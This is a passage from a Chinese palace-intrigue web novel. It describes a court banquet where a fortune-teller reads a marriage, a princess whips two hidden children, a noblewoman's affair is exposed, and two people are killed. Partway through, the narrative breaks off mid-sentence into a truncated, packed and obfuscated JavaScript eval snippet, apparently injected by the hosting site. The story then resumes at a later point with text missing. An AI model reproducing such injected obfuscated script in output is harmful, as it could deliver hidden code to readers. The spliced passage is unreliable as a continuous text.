霍灵渠一掌拍下团扇,嬴忱璧心有余悸看向贵妃,好些人都想替皇帝捏把汗时,霍灵渠双手狂拍桌案:“啊啊啊啊……”惹得霍太后冷静、再冷静,霍舒窈端着的脸快绷不住了,太上皇再念念心经,霍海啸约晏霁之往殿外走。 乐邑腹诽:流光还能有温柔的名声,她可太不容易了。 萧耿裕悄悄对妹妹说:“你应该肯定比流光姨娘温柔。” 原牧烈看向章醇,还是魂不附体的模样,护国公夫人眉头紧皱想不通长媳这是怎么了,原牧蔷小姑娘跟母亲和哥哥提议,他们要不请法师来给大嫂招招魂吧。 嬴忱璧想喝杯酒压压惊还是忍住了,一眼扫过群臣,大伙儿纷纷转过视线。 魏王已饮好几杯了,他就说这女人会发疯。 姬汜唏嘘,目光似有惦念,国师姬洵坚固的心都像挨了记闷撞。 十几岁时的姬沛遇到疑难也会发发疯,也是这么发疯的。 霍灵渠啊,这孩子真像姬沛。 霍漓江忧伤,霍秦川再揶揄:“这闺女真是你自个儿怀胎生下来的,发疯都一个德行。”霍漓江幽幽看向老兄,霍秦川义正辞严:“你当年发疯不是这么个德行啊?” 景福殿外,在空阔的蓝天下,霍海啸质疑:“你对玉藏珠的喜欢是假的吧?” 晏霁之注视他会儿,眉开眼笑:“不难猜?” “是啊,按你的说辞,你喜欢的女人,你会不惜代价要娶到她,你会破釜沉舟,那么你还能喜欢玉藏珠吗?”霍海啸不解:“为何要撒这样一个谎?” “还没有娶妻的心思,找个人挡挡。”晏霁之相告。 霍海啸给他竖起大拇指:“真朴实的理由。” 晏霁之颔首:“谢谢。” 霍海啸联想到:“这么说,你多年来让利给冯玉两家不只因为要装深情?” 晏霁之看向他忽然犀利:“至少两处破绽在你眼前,我以为你当年就会察觉,这么多年我都以为你不会发现了,你若不会一见钟情,凭什么相信我会?” 霍海啸无言。 还有一处破绽是:玉藏珠居然能让玉家接着晏家白给的好处,乃至让玉家和夫家都白拿晏家的让利而非找晏霁之推辞掉,晏霁之怎么可能看得上。 他们回去景福殿时歌舞已经退下,霍灵渠平静些了,在剥甜橙,霍擎在宽慰皇帝外孙:“陛下放心吧,贵妃没事了,娘娘她从小就乖,这阵过去就好了。” 大伙儿看霍家是真不要脸啊,霍贵妃都疯成这样了还能说她乖。 嬴忱璧瞧瞧贵妃,霍灵渠睨眼皇帝,把甜橙给他,自己再剥一只。 “好,好。”嬴忱璧干笑,看贵妃给的果子,能吃的吧,就吃吧。 昌隆侯站起来:“圣人、陛下,我这先生想给英王世子看个姻缘。” 嬴忱璧看向父皇,太上皇点点头,皇帝道:“好。” 晏霁之遂去御前,行过礼等姬汜,姬汜慢几步来到殿中央,没看皇帝和太上皇,自然也没有行礼,总管太监要训斥被太上皇示意没事。霍秦川感到股怪异,迟疑下还是对老父道:“爹,圣人得出于什么心思才会同意昌隆侯把姬汜带来?” 霍擎皮笑肉不笑:“终于察觉啦。” 霍秦川心里就咯噔声:“今天要出事,他们是冲着灵渠来的?” 姬汜给晏霁之摸过骨,曝出第一点:“你成亲很晚,得三十岁以后了。” “我知道。”晏霁之微笑。 “你媳妇嘛,你是个驸马命,你媳妇是个公主。”姬汜再曝料。 霍灵渠眼神杀投过去,可能她自己都没有意识的,晏霁之颔首:“谢谢。” 英王晏墉打量姬汜,看客们谁信呢,这位知不知道没出阁的公主最年长的都才六岁多,晏煦之就嚷道:“要不然就请乐阳长公主过来,先生也给看看吧?” “不用啦。”姬汜摆摆手,对晏霁之说:“你媳妇,叫长念。” 晏霁之仍然谢过,姬汜拍拍他的肩膀,走了,晏霁之怔住,醍醐灌顶般喊:“先生?”姬汜回头,晏霁之受震动道:“先生说,我未来的妻子叫什么名字?” “长念。” 晏霁之退后一步,俯身作揖,行大礼谢过,姬汜转身,边走边摆摆手。 霍灵渠愤愤剥橙子皮,骗子! 霍雄鹰无语:“晏霁之傻了吧,这就把他骗住了,什么长念,还公主,哪儿来的——”突然挨了一记,霍雄鹰一看是他祖父,不作声也不记小黑账了。 霍秦川不可思议看向老父,霍擎老脸真不松弛,长念,长念啊。 皇帝嬴忱璧狠狠冷哼,当皇帝他不懂这长念指谁么,皇帝他就看看晏霁之能怎么让这位长念长公主横空出世,还是,世间只会有霍皇后! 148. 第148章 长念? 多少人懂得长念的指向呢? 太上皇有数,昌隆侯不懂都懂,他带来的人会给晏霁之看出什么样的姻缘,不言而喻,一眼掠过圣人的脸色,昌隆侯笑道:“世子的姻缘落定也就让人放心了,可毕竟成婚还远,靠心里的人也不能过日子,世子身边还是得要有个知冷知热的。” 平原大长公主再被噎着了,她都想送礼了,昌隆侯是不是跟她犯冲啊。 嬴忱璧饮杯酒,这混球再敢放肆就把他拍成肉饼,皇帝绝不手软。 萧耿裕慢几拍意识到个问题:“晏霁之怎么看都应该像喜欢温柔的女人吧?” 萧灼灼赞成:“我也一直这样觉得。” 霍灵渠让翁嫔把襁褓给她,她宁愿看小婴儿。 晏霁之答曰:“我可以和原牧炽一起过。” 嬴忱璧:“……” 皇帝不知道什么感觉。 太上皇剥颗荔枝尝尝,魏王看他是真想演出朵花儿来了,霍秦川就想笑,霍灵渠浑如没过耳,护国公夫人和原牧蔷小姑娘差点摔下,晏墉和原牧烈一样平淡,昌隆侯无阻碍地接:“可原小将军有未婚妻,成亲不远了,世子总不能做外室吧。” 许多看客只觉头顶乌鸦飞过,晏霁之不以为意:“我还有陛下嘛。” 众人保持着镇定没异样,霍海啸看他是要不正经起来了。 “这是个什么意思?”穆国公霍秦川喜欢看热闹啊一马当先跳出来,晏霁之信口捏来:“他把我的女人抢走了,把他自己赔给我不是应当的吗?” 嬴忱璧&观众们:“……” 班丞相想,现在的年轻人都这么与众不同吗? 霍海啸陪他侃侃:“你若这么做,还能面对霍贵妃吗?” 嬴忱璧噎下就被抢前了,霍然瞪霍海啸,大伙都关注着呢,霍灵渠也真不知什么感觉,晏霁之标榜:“能刻骨铭心就好。” 霍秦川想捂脸,难怪人家能教贵妃,只要自己不难堪,尴尬的就是别人,这德行,他是不用担心谁敢对他指指点点了,谁敢说他的闲话,他保管能做更轰轰烈烈的事逼着皇帝帮他对所有乱嚼舌根者禁言,皇帝估计也很郁闷招惹这么个情敌了。 晏煦之有点想低头埋脸了,老哥不要这么玩是吧。 魏王淡定看他天花乱坠胡天海吹。 朱窅絜翻白眼,根本是个徒有虚名的纨绔。 嬴忱璧再噎下又被抢先,昌隆侯火上浇油:“这可有损陛下和皇家的名声,世子难道都不替陛下和天家名声考虑?” 晏霁之夸夸其谈:“三人行,必有我师焉。” 霍灵渠扭过脸,霍秦川瞪大眼睛看去,魏王想给他竖大拇指,嬴忱璧冒出怒气又被挡,国师也凑个热闹:“这怕是有难度吧。” “我喜欢挑战。” 晏霁之话落,大殿里一片鸦雀无声,朱縠艾都想翻白眼了,这么不知所谓的货色。 晏墉想起霍秦川对显国公说的那句:可要坚持住,他就觉得现在特别适合他。 晏霁之像有感悟地转向上座,太上皇被颠得没脾气了,嬴忱璧脸黑得能滴墨汁。 “朕想先打死你一个时辰信不信?” 晏霁之转头,失语的霍雄鹰可缓过劲来了,皇帝发飙:“给英王世子拿针线来,宫宴结束前他敢再多说一个字就把他嘴巴缝起来!” 平原大长公主砰然站起,大家惊奇得瞩目她,皇帝和显国公还有乐邑长公主都想奇怪,平原连连表示她是要给四皇子送满月礼,再暗示省得又被昌隆侯抢前。 昌隆侯无语,看客们扶额,谁还不让大长公主您送礼了吗? 显国公想遮眼睛,略过刚才那一幕,太上皇都想略过。 皇帝不厚道想,被这么一搅和,他心情好多了。 乐邑想托腮,这婆婆八成是要丢人了。 宫人们给英王世子把针线拿来,晏霁之看看搁在他手边的针线,去倒碗水来。 平原大长公主的礼抬上来,是只麻袋。 霍灵渠挑眉:“姑母,您这礼粗糙了些吧?” 平原走出来,都没在意霍灵渠对她的称谓:“贵妃看过就不会觉得粗糙了。” 霍灵渠打量她,平原让宫人把麻袋打开,麻袋里装着两个睡着的小孩,六七岁模样,众人莫名被噎,不是他们想的那样吧? 霍雄鹰感觉怪怪的,显国公闭目拍拍额头,乐邑神了,这婆母不会想说这俩娃娃是霍灵渠的吧? 翁嫔神奇地看向贵妃,嬴忱璧貌若神奇地看向太上皇,太上皇被妹子蠢得没眼看,晓得是堂姐借平原的手给虢王送份礼都眼睛疼,这妹妹怎么就能蠢得有人给她送两个小孩指他们是贵妃的娃就能相信了呢?她是想把爹气活过来是吧。 昌隆侯一时没看懂,作壁上观。 虢王么,虢王又不认得他们,一样在看戏呢。 原牧烈看向章醇,复看向那两个小孩,是像,亲娘和亲骨肉的长相。 他想往上看眼还是忍住了,灌杯酒,心里有些发闷。 魏王哼笑,一眼看穿这是霍灵渠的谋划,真是会为原家操心了。 霍雄鹰想和大哥交流,奈何身边人都不搭理他。 霍海啸看皇帝真能装啊,若非他知道皇帝清楚也都要以为皇帝没看懂了。 晏煦之跟堂兄说:“这年纪肯定比四岁大了吧?” 晏霁之赞同,平原大长公主这么容易被骗也太不把他当回事儿了。 霍灵渠不悦板脸:“姑母这是什么意思?” “贵妃不认得他们吗?他们可认得贵妃呢。”平原喜上眉梢简直是心花怒放,乐邑都要嫌没眼看了,霍灵渠表示:“本宫听不懂姑母在说些什么?” “贵妃若是不懂,姑母可得帮你一把了。”平原乐不可支,被带得对霍灵渠自称姑母,她都没意识到就顾着激动了,太上皇平复些,琢磨眼前的状况。 霍灵渠神情不屑且轻蔑:“好,本宫就劳驾姑母解惑了。” 平原嗤之以鼻更蔑视,吩咐宫人去拿长鞭来。 萧灼灼瞥瞥堂嫂,霍舒窈都想无语了,猜都知道萧灼灼在想什么。 所以呀,很多人想不通,平原大长公主为何舍近求远? 何况小孩这么眼生,班落矜就觉得霍贵妃若有孩儿,不屑把孩子藏起来。 班丞相在大殿里隐晦找找,谁在利用平原,目的又是什么? 房副相看眼霍家,平原能送这么一份礼,没有霍家放行不可能吧? 晏霁之垂眸,若有所思,虽然没平原大长公主能轻易被骗未必能有霍灵渠想要的精彩,但,霍灵渠何以敢有把握送两个小孩过去,人家就会相信? 宫人将长鞭呈上,大庭广众,平原握起长鞭就两鞭子挥下,两个小孩被痛醒,他们被绑着嘴说不出话来,哇哇大哭,章醇郡主犹若受到感召一般猛打了个激灵,双目无神地搜寻,一眼看见两个孩子,她嘭得站起来,婆家人看她半响都没反应。 平原大长公主专注眼前没注意到章醇,看见的人们,神情就有点精彩了。 护国公夫人打量着长媳和她注视的小孩好几遍,脸一点点难看。 原牧蔷双手交握,眉眼慌乱不安,大嫂人不错呀,怎么会? 霍海啸让霍雄鹰准备好,霍雄鹰和大哥交流过还觉得惊奇,不是吧? 滕王笑了,枉他对这堂姐的感观还挺不错的。晏煦之看向堂哥,霍舒窈瞥了眼萧灼灼,刚不是对贵妃怀疑得起劲,怎么这会儿又像眼瞎般不多想了? 其实也简单,章醇郡主又没有不好的名声,霍雄鹰这不都觉得不可信。 班落矜扯扯祖母,班丞相皱眉,显国公略难以置信,不至于吧?乐邑震惊望着这堂姐,皇帝和父皇对视,太上皇也惊讶,这堂侄女能在外两个野种都弄出来了? 霍太后优雅饮杯果酒,看热闹都没什么意趣。 翁嫔随大家关注的风向看向章醇郡主,虢王如梦初醒,连忙给昌隆侯使眼色,心里狠狠给平原以及显国公记笔大仇,要命啊这样阴他,昌隆侯被噎得差点想拍脑门。 朱縠艾都被气得近乎心口疼,居然还有这样的事?!章醇郡主更是疯了,居然还站着,她环视圈只能跟哥哥商量:必须让章醇郡主坐下,当没事人一样,再把这俩小孩弄走,把这件事尽快揭过去。朱窅絜去角落里收买宫人。 平原饶有兴味的欣赏过痛哭的小孩,转向霍贵妃挑衅:“贵妃可懂了吗?” 霍灵渠冷硬讥诮:“不懂,还是得请姑母赐教。” “是吗?”平原大长公主笑盈盈的,又两鞭子抽下,孩童的哭声飘满景福殿。 “姑母!” 尖锐的嘶吼传来,平原得意看向霍贵妃,霍灵渠在哄小婴儿,俩小孩的哭声把这小婴儿吵醒了,闹得他也哭起来,平原愣下,刚才不是霍贵妃喊得吗? 翁嫔担忧张望看着小皇子,皇帝给这姑母指指,平原看去,顿时无语:“章醇你干什么呀?” “姑母,上天有好生之德,”章醇郡主刚几乎要从座次这边冲出来,还有理智才站定,她自也无暇顾及婆婆脸色有多难看,原牧蔷灰心了,原牧烈两个副将的脸都黑了,没多想的人们都得多想了,这总不能是章醇郡主善心泛滥或者爱多管闲事吧? “行了行了没你事,坐下吧。”平原大长公主不耐烦打断,章醇郡主被身边冒出的宫女硬按着坐下来,她刚坐又想站起时对上她爹狠厉瞪她,揪心坐着。 平原重新转向霍灵渠,好整以暇笑:“贵妃这下懂了吧?” 霍灵渠一脸在平原眼里负隅顽抗的死撑:“不懂!” 平原惋惜:“贵妃若还是不懂,姑母接下来可得换剑了,一片一片把皮肉割下来,割到血肉模糊白骨都露出来再把心肝脾肺都挖出来做四皇子的满月礼,贵妃——” “姑母?!”章醇郡主轰然站起。 平原再看过去,真没好气:“章醇你干什么呀,你不想看你就出去!” 观众们都想替平原大长公主着急了,怎么还没看出猫腻来?霍雄鹰动动手腕准备就绪,昌隆侯紧盯圣人,太上皇闭闭眼,默认之意,昌隆侯当即去带这俩孩子走,霍灵渠暴怒吼:“霍雄鹰!拿刀给我砍,我倒要看看谁的种想诬赖到我头上来?” 章醇郡主疯了似的冲出去,只知道她要保护孩儿,要保护她的孩子。 朱縠艾和朱窅絜看得都想冲上去了,昌隆侯根本走不得,霍雄鹰在三姐姐喊霍字时就如箭矢般蹿出去撞开昌隆侯,抢过麻袋举起来就要摔,章醇郡主冲来也被踹开。 “不!!” 混乱落幕,他们只见章醇郡主硬生生垫在麻袋下,众人死一般安静。 翁嫔双手捂住嘴巴,霍灵渠眼睑低垂,她能做到这份儿上,是意外。 皇帝没什么动容,章醇若替孩儿着想能让亲骨肉变成孽种吗?还不是只图一己私欲。 太上皇有些沉寂,沉寂过也就认了,任其自然吧。 殿中痛哭愈凶,晏霁之站起来看眼后坐下,老秦王爷坐不住地站着,虢王坐着,坐着都要气炸了直想把这俩孽种的嘴巴缝起来,哭哭哭,都几岁了还哭! 原牧蔷死心了,朱縠艾气得想捶桌子,昌隆侯都想抹把脸,平原凌乱了,这,这这,这怎么会变成章醇?她看向丈夫和儿媳,显国公没眼看,乐邑嫌造孽,瞧这婆婆刚才卖力的,这种事她怎么就瞒得这么紧,平常没见你嘴皮子这么严啊。 护国公夫人站起来,走到长媳面前死死盯着她,原牧烈随后沉沉走出来。 原牧蔷小姑娘跟着娘和哥哥的脚步,忽然迸发出想杀人的愤怒,红着眼睛瞪着这个人,几乎即刻就想质问:你为什么要这样羞辱我大哥,你有相好了你就和离啊! 章醇郡主忍住剧痛坐起来,面庞呆滞,没看婆家人一眼,就痴痴护着她的两个孩子,但她也没给孩子们松绑,一旦松绑,两个孩子哭着喊她娘是太难看。 原牧烈阴鸷握起拳头,好似下一刻就能把章醇捶爆。 虢王心颤下扯扯他大姐,一些人注意到虢王的动作真被噎了噎,晏煦之受不了地转头,六十二岁的饶香郡主闲庭信步走出来,却是走到魏王面前,放下只柰果。 魏王抬眸看这位堂姑母,饶香郡主莞尔:“这是虢王府在蒲州庄上培育的柰果,俊儿,你尝尝,看和罗方渡送你的柰果滋味一不一样啊?” 大殿的氛围再一变,魏王妃吃惊看着这位堂姑母,虢王差点蹦起来,这大姐疯了啊?班丞相倏然想到五年前的定襄之围,武襄侯、显国公、郢国公等好几位大人都想到了,老秦王爷坐下来,昌隆侯又被气得真是…真是想揍虢王了! 太上皇想笑,罗方渡,埋得真够深的一颗棋啊。 魏王打量过她再瞧瞧眼前的柰果,复而抬眸,说:“谢姑母,本王会好好品尝。” 饶香郡主再走到堂妹面前,笑意喜人:“平原,姐姐就谢谢你了。” 平原大长公主憋屈地扭过脸,不想看她。 章醇若无所觉,无所谓了,在她的孩子们被摆到人前时就什么都无所谓了。 饶香郡主最后走到原牧烈面前,目光灼灼道:“侄女婿,你没猜错,麻袋里装的这两个就是章醇在外生的孽种,便是她在蒲州养病的两年半期间生下来的。 一个七岁,一个将满六岁,章醇生下第一胎后只隔四个月就又怀上了,她每年借口去蒲州住好几个月就是为陪伴这俩孽种,你岳母虢王妃也年年去看望。 那个野男人就是她外祖家大舅母的娘家侄儿,授康二十三年的状元、洛阳通判梅浮雪,之前虢王妃娘家及其相关人家被清查,虢王、你岳父愣是保住了他无恙。” “大姐,你真疯魔了是吧?”虢王早就在喊了,可哪挡得住,饶香郡主不理会,一股脑儿捅出来,护国公夫人气得颤栗,原牧蔷恨得眼睛要吃人,原牧烈的两位副将都站出来了,他们再不喜虢王都敬着世子夫人以为世子夫人是好的,结果咧?! 南疆的三位将领都脸铁青,想着他们的仇,似能感同身受当中痛恨。 他们在前线战场不怕死的杀敌奋战,为何得到的反是践踏?! 这一刻,没人笑得出来。 太上皇面色铁青,皇帝和魏王兄弟脸都难看,皇室宗亲的脸皮都被扒下来了,乐邑霍然意识到这堂姐不是一时糊涂而是一直在偷情甚至于至今还没有断? 平原被气得都想踹她了:你这么有种怎么不多弄出几个来? 梅浮雪?薄尚书叹息,周尚书也叹气,他对那位的感观也很不错。 班丞相夫妇气煞,班四少爷和班落矜都火冒三丈,这人是这么个玩意儿? 这是班家的女婿,他娶的就是班丞相夫妇的嫡幼女。 原牧烈眸光嗜血瞋目切齿,顾及皇家颜面硬克制住了,一言不发。 霍舒窈想,若是贵妃怀个胎,肯定要闹着跟陛下和离了吧? 啊呸,什么和离,贵妃哪有资格和离,是摊牌。 晏墉瞟瞟身边被禁言的兔崽子,晏霁之递筷给父亲,晏墉潦草写行字:能相信你吧?你爹还是想相信你不糊涂。晏霁之拿筷沾水写行字:您大可放心,我会明着跟嬴忱璧争,惹得他爹也想先打死他一个时辰算了,他弟心里有丝沉闷。 晏煦之刚还想揶揄老兄,看到这行字,一下就没心思了,不经意对上媳妇,他似犹豫,桓炜彤知道丈夫想问什么,一样拿筷来写:我只觉得章醇郡主很蠢,情郎对她若有真心能毫不替她着想又对她全无担当吗?我以为,真情必有担当。 “疯魔?” 饶香郡主哈哈大笑,笑得比哭还凄厉,盯着这个异母弟弟的眼睛比刀子还尖利:“我是忍得快疯魔了!三十八年了,我一天一天的熬,一年一年的忍,熬得我都满头白发,忍得我都快踏进棺材里了,我总不能把这笔血债带进棺材里去吧!” 乐邑忽就感到阵心酸,平原憋闷烦躁,算了,就不跟她生气了。 太上皇闭闭眼,像是要把浊气都呼出去。 虢王瑟缩下,不知是心虚还是不想跟这个已经是仇敌的大姐多纠缠,给昌隆侯使眼色,昌隆侯懒得多事时一道清脆嗓音介入:“圣人、陛下,平原大长公主虽然没找对人,但猜测不无道理呀。” 众人看去,是昌隆侯的女儿。 朱縠艾从座次这边走出来,乐邑瞥见她,心酸都散了。 昌隆侯置若罔闻,霍海啸瞧昌隆侯,是不想管这女儿的死活了?一部分人也意识到了,在宫宴上,这姑娘堂而皇之说出这种有辱皇家颜面的话来,不论有没有皇帝的口谕在前,她还能有好果子吃?昌隆侯怎会不懂,没有制止就是不想管了咯? 还有些人霎时想到英王世子的赌局,班落矜和萧灼灼都想到了,也都不敢相信,这可是昌隆侯的女儿,昌隆侯可在场啊,难道还能被赐死? 大家伙就这么看着,像看一个人的独角戏。 没人搭话,朱縠艾照样自得其乐:“霍贵妃入撷芳馆时都二十岁了,贵妃亲言她在北地有个情投意合的少年郎,霍桑柔未满十九却有个五岁大的孩子,难道霍桑柔14岁就生养,13岁就有身孕了?怕不是在给同母姐姐做掩护吧?” 多数看客们想,昌隆侯这女儿果然把话说全了。 平原拿手绢来扇扇,她还绕着弯呢,这姑娘可倒好?霍灵渠睨眼看过昌隆侯这个女儿,转向皇帝询问:“陛下口谕,造谣污蔑编排毁谤霍贵妃者死,作数的吧?” 朱縠艾讥笑:“霍贵妃莫不是心虚,这才连——呃,呃、啊……” 霍雄鹰还在撇嘴呢,陛下还没说话呢都敢抢皇帝的话,真是兄妹,猛然怔住。 刚刚一把匕首飞射而过,朱縠艾被刺穿喉咙! 大伙儿懵了懵才看清,再看,是,蜀王。 皇帝侧眸看了蜀王一眼,太上皇淡漠得像什么都没发生。 滕王心里啧啧,这堂哥真是人狠话不多。 昌隆侯缓缓转过身看向蜀王,朱窅絜眼睛瞪得比铜铃还大,根本不能接受得呆滞片刻,反应过来要冲过去时,蜀王,阿胜拔刀跃起,一刀砍下朱氏女的头颅。 大殿犹如静止,头颅滚落几下仿佛是胆小者心跳的波动。 殿外金乌那么耀眼,殿里好些人却有种虚幻感,朱窅絜双腿一软不由自主跪下来。 霍雄鹰感觉有点头脑风暴,霍灵渠微愣下,低低头。 虢王呆住,章醇郡主打个寒颤护紧儿女,生怕原牧烈也要杀了她的孩儿。 原牧烈将母亲和小妹护到身后些,原牧蔷小姑娘抓着大哥的手臂,看章醇的举动,一猜就晓得她在想什么,想吐口水啐她:你偷人时怎么不知道怕? 平原有点慌地握住堂姐,这侄儿太猛了,饶香郡主反手握住堂妹。 那个赌局?能忆起的看客都想到了,霍海啸和晏霁之赌昌隆侯这个女儿活不过今天就是猜她要拿霍桑柔养的孩子来说事,浑然不把皇帝口谕当回事,没料到蜀王会出手,可皇帝和霍家能让她活吗?必会钉死,所以他们赌朱縠艾活不过今天了。 而会那么猜也明了,那德行不明摆着。 乐邑心莫名,萧灼灼说不出来什么感觉,晏煦之看老哥,有点被震,班落矜突然觉得,昌隆侯也没什么了不起。 薄尚书感喟,所以啊别妄想去以身试法。 霍擎踹脚霍秦川,霍秦川踹脚霍漓江,赶紧的,盯紧姬汜。 姬汜这时候若不出手还怎么在昌隆侯那儿混? 晏霁之亦是直觉看向了姬汜。 皇帝看眼父皇,总觉得哪不对劲,太上皇一直未言,似乎在等待什么。 “阿胜啊,你可真是姬沛的好外甥。”姬汜慢悠悠踱步而出打碎这死沉沉的寂静,一些看客看他,有种又是个要自己找死的感觉,乐邑和霍舒窈都这么想。 谁都没多话,像之前看朱縠艾唱独角戏那般看着。 皇帝却有种归位感,就像连环锁的一环,此人就应该在这时候冒出来,皇帝又逐一看过太上皇、昌隆侯、蜀王和国师,最后锁定在这位姬汜,隐约有个念头呼之欲出。 姬汜走过朱窅絜,朱窅絜抬头看他,姬汜笑笑,又走过朱縠艾的头颅,来到蜀王面前,刚还笑得优哉游哉,倏忽间如严寒将袭:“可姬沛对得住你吗? 他可以把你扶上皇位,可以把天下都给你,可他呢,姬家遭灭顶之灾,全族967人死了948人近乎阖族被屠,他不思报仇反而自尽,荒不荒诞?可不可笑?!” 霍灵渠霍然抬头看向姬汜,整个大殿响彻姬汜的咆哮,一声一声像敲击在众人心头,再没人觉得又是个要找死的,屠族啊,此人看着很开朗啊怎会竟背着屠族之仇? 魏王再闻此事,心里还是有点感触。 霍擎拄着拐杖站起来,霍秦川一同站起来被老爹按下。 蜀王,阿胜眼含怒火冷冷瞪着他,姬汜讽刺:“他一死痛快了,留给我们的是什么,是地狱!”姬汜再次激烈地发狂:“二十四年了,他让我们全都活在地狱里! 他若不死,今天坐皇位的就是你,可他偏要去自尽,为了他所谓的天下、苍生,什么都不作为就一死了之,这叫爱,对天下苍生的大爱?你不觉得荒唐? 二十四年了!我们过了二十四年生不如死的日子,这天下、苍生,谁来救助过我们,他对得起我们吗,他对得起你吗?阿胜,姬沛,他真的值得你护着他吗?” 蜀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在魏王快忍无可忍、晏霁之跑向前晏墉拉都拉不住,霍擎走出来,老秦王也走出来,许多人都站起来,整个大殿紧张飙涨时,皇帝嬴忱璧站了起来。 连霍太后都松口气,晏霁之跑半截急刹住,诸多人都感觉和缓些了。 嬴忱璧还没说话,姬汜兀然鲜血喷涌,皇帝抬眸,看见,蜀王一刀刺穿姬汜的心脏! 昌隆侯猛瞪向蜀王! 景福殿静得落针可闻。 姬汜回头看眼又转回盯着霍灵渠,手缓缓伸向她,霍灵渠如被摄魂似木偶般望着姬汜,阿胜抽出长刀又补上一刀,姬汜仍盯着霍灵渠直至倒下还想伸长手臂抓住她。 霍灵渠眨眨眼,找回一丝自己的神智。 “妖言惑众,该死!”阿胜抽回长刀,看着刀上的血迹,他走上玉阶,拿瓶酒来冲刷,这惊骇的一幕看得胆小者心颤,太上皇握拳闭闭眼,让自己松弛些。 诲仰道长走过去把他的碎片拿回。 霍灵渠脸上血色褪去,头脑浑浑噩噩,承受不住地昏过去。 “贵妃,贵妃?”嬴忱璧有感身侧不对劲,还没转头,皇帝收到提示,转头看去,忙护着贵妃再扶住皇儿的襁褓,翁嫔赶到,皇帝一个眼神,翁嫔连忙抱起襁褓。 太上皇叹口气,下令:“昌隆侯带妖道入宫,罚俸半年,散了吧。” 昌隆侯谢恩,迷糊的大臣醒过神来,大家行礼告退。 平原大长公主都发虚汗了,和丈夫碰面想说话被显国公按住,闷声往外走。 饶香郡主昂首往外走,虽然她手心也冒汗了。 昌隆侯告诫虢王:“让你女儿回原家,不然你就把那两个孽种宰了。” 虢王愣下点头:“行行行,你放心吧,章醇和原牧烈是圣旨赐婚,只要我们咬死了章醇没有偷人,原家就休想断掉这门亲。”说完,他就去管束女儿。 章醇郡主只得像行尸走肉一般跟着婆家人走。 朱窅絜有种云里雾里的感觉,怎么会他妹妹就这么死了,姬汜也就这么死了? 萧灼灼随家人离去时看朱窅絜好几眼,看他痴痴的,也不好受。 皇帝、太上皇、群臣散尽,宫人们提水来清洗景福殿的血迹。 几桶水浇下,脏污被洗得一干二净。 皇宫,或许就是个沾几回血都依旧金碧的地方。 皇帝和太后送贵妃回关雎宫,霍擎和霍漓江陪同,晏霁之在队列末尾跟着,跟就跟吧,皇帝让他跟着,抵达关雎宫,皇帝把他挡外面。 宫人们鱼贯而入,三位太医也随后进门,仅霍漓江停驻,骂他:“你非想让皇帝把你摔个狗吃屎吗?” 晏霁之坚持:“我心里不安,我必须看她一眼。” “站着晒太阳吧,最好晒死你。”霍漓江不待见他地往关雎宫里走,过两刻多种,他和太医们陪皇帝出来,嬴忱璧看都没看晏霁之一眼,略带傲娇的走了,皇帝心想嘛,太后、老穆国公、贵妃她爹都在,晏霁之见着贵妃也只有规规矩矩的份儿。 三位太医和兴献侯告辞,晏霁之奇怪看他,霍漓江哼道:“你谢蜀王和魏王吧,魏王找蜀王解惑,蜀王料皇帝也要知道个所以然,一起在皇极宫等着陛下。” “灵渠醒了吗?” 霍漓江懒得搭理,自顾往回走,晏霁之忍住疾跑的冲动,再跟着。 贵妃寝阁,霍灵渠刚醒,自己捧着碗喝碗安神茶,霍漓江带混球迈进门槛,晏霁之即冲去床榻前安慰她莫怕,霍漓江真想把混球踹出去,但到底还是由着了。 太后都没管,很显然皇帝想多了。 “不是、不是,他、他们……”霍灵渠揪心得想哭都哭不出来:“我看得懂,他,他们是和表哥演戏的,他在用命来做戏给太上皇和昌隆侯看,他死前、死前看我的眼神,我懂,他让我坚持住,给姬家报仇,还有什么,我也不知了。 他的眼睛里有太多东西了,但我知道,他和表哥是配合好的,还有国师,他们全在做戏给太上皇和昌隆侯看,他是在用自己的命给姬家报仇铺路,他,姬汜是自愿赴死。” 霍灵渠悲痛得倒在晏霁之怀里,晏霁之忙抱住她。 太后看向父兄,霍漓江猜:“没准儿,我直觉相信这可能才是真相。” “这是要让太上皇和昌隆侯相信以姬汜为首的姬家人与蜀王绝没有暗中联合的可能。” 霍擎拄着拐杖站起来:“他们想要让朱存焳、让整个朱家万劫不复。” “嬴忱璧能信吗?”晏霁之顾虑,霍擎和儿女看向他,霍灵渠疲累地靠着他,没抬头,晏霁之深刻道:“在宫宴上,我看着嬴忱璧有一种感觉,皇帝怀疑这是一个局。” “但皇帝不能让太上皇相信,姬汜是自愿赴死,他和蜀王在圣人眼皮底下演了场戏。”霍擎忖度:“皇帝不信,应该也影响不了多少姬家的报仇策略。” 昌隆侯回府,下人们抬着担架将姬汜的遗体放在堂屋。 姬潮僵立在屋前,昌隆侯拍拍他肩膀:“圣人还在座,没想到蜀王,唉……” 虢王府又掀起场轩然大波,虢王和虢王世子都要把这两个孽种扔去柴房,虢王妃气急了都这么想,可疼爱多年,虢王妃不忍心,把俩孩子安置在了厢房。 朱家的婢女在萧宅外徘徊,想请宜春县主去趟朱家,萧灼灼反复犹豫还是去了。 萧耿裕陪妹妹同往,来到朱家,萧耿裕去和昌隆侯谈。 朱縠艾的灵堂刚布置好,朱窅絜眼睛红肿,呆呆在妹妹的棺椁旁烧纸钱,萧灼灼走近,朱窅絜抱着萧灼灼嚎啕大哭。 薄暮残阳,杭婕妤的父亲马不停蹄赶到家门前,眼前一黑,滚落下马来。 章醇郡主跟着回到夫家,原家府门一闭,她摇摇欲坠得就跪下了,一直跪到太阳落山,期间,婆婆、婶婶、弟妹、小姑子,还有婢女小厮,除丈夫之外,原家上下几乎所有人都来质问过她,性子烈的拿石子砸过她,章醇一直痴痴傻傻,不言不语。 灯火亮起,原牧烈提着灯笼来到她面前,章醇抬起头,涣散的眼神凝聚些。 “原家不会迁怒你的两个孩子。” 章醇郡主张张唇,谢字卡喉咙里,她弯下腰,头碰青石板,人似要被黑暗吞没。 原牧烈走了,她一个谢字始终没有说出来。 皇宫 皇帝迈入贵妃的寝殿,霍灵渠抱着襁褓痴愣愣靠在床头,嬴忱璧坐到床沿,劝道:“让奶娘把皇儿抱下去吧,贵妃今天累着了就不要照顾皇儿了。” 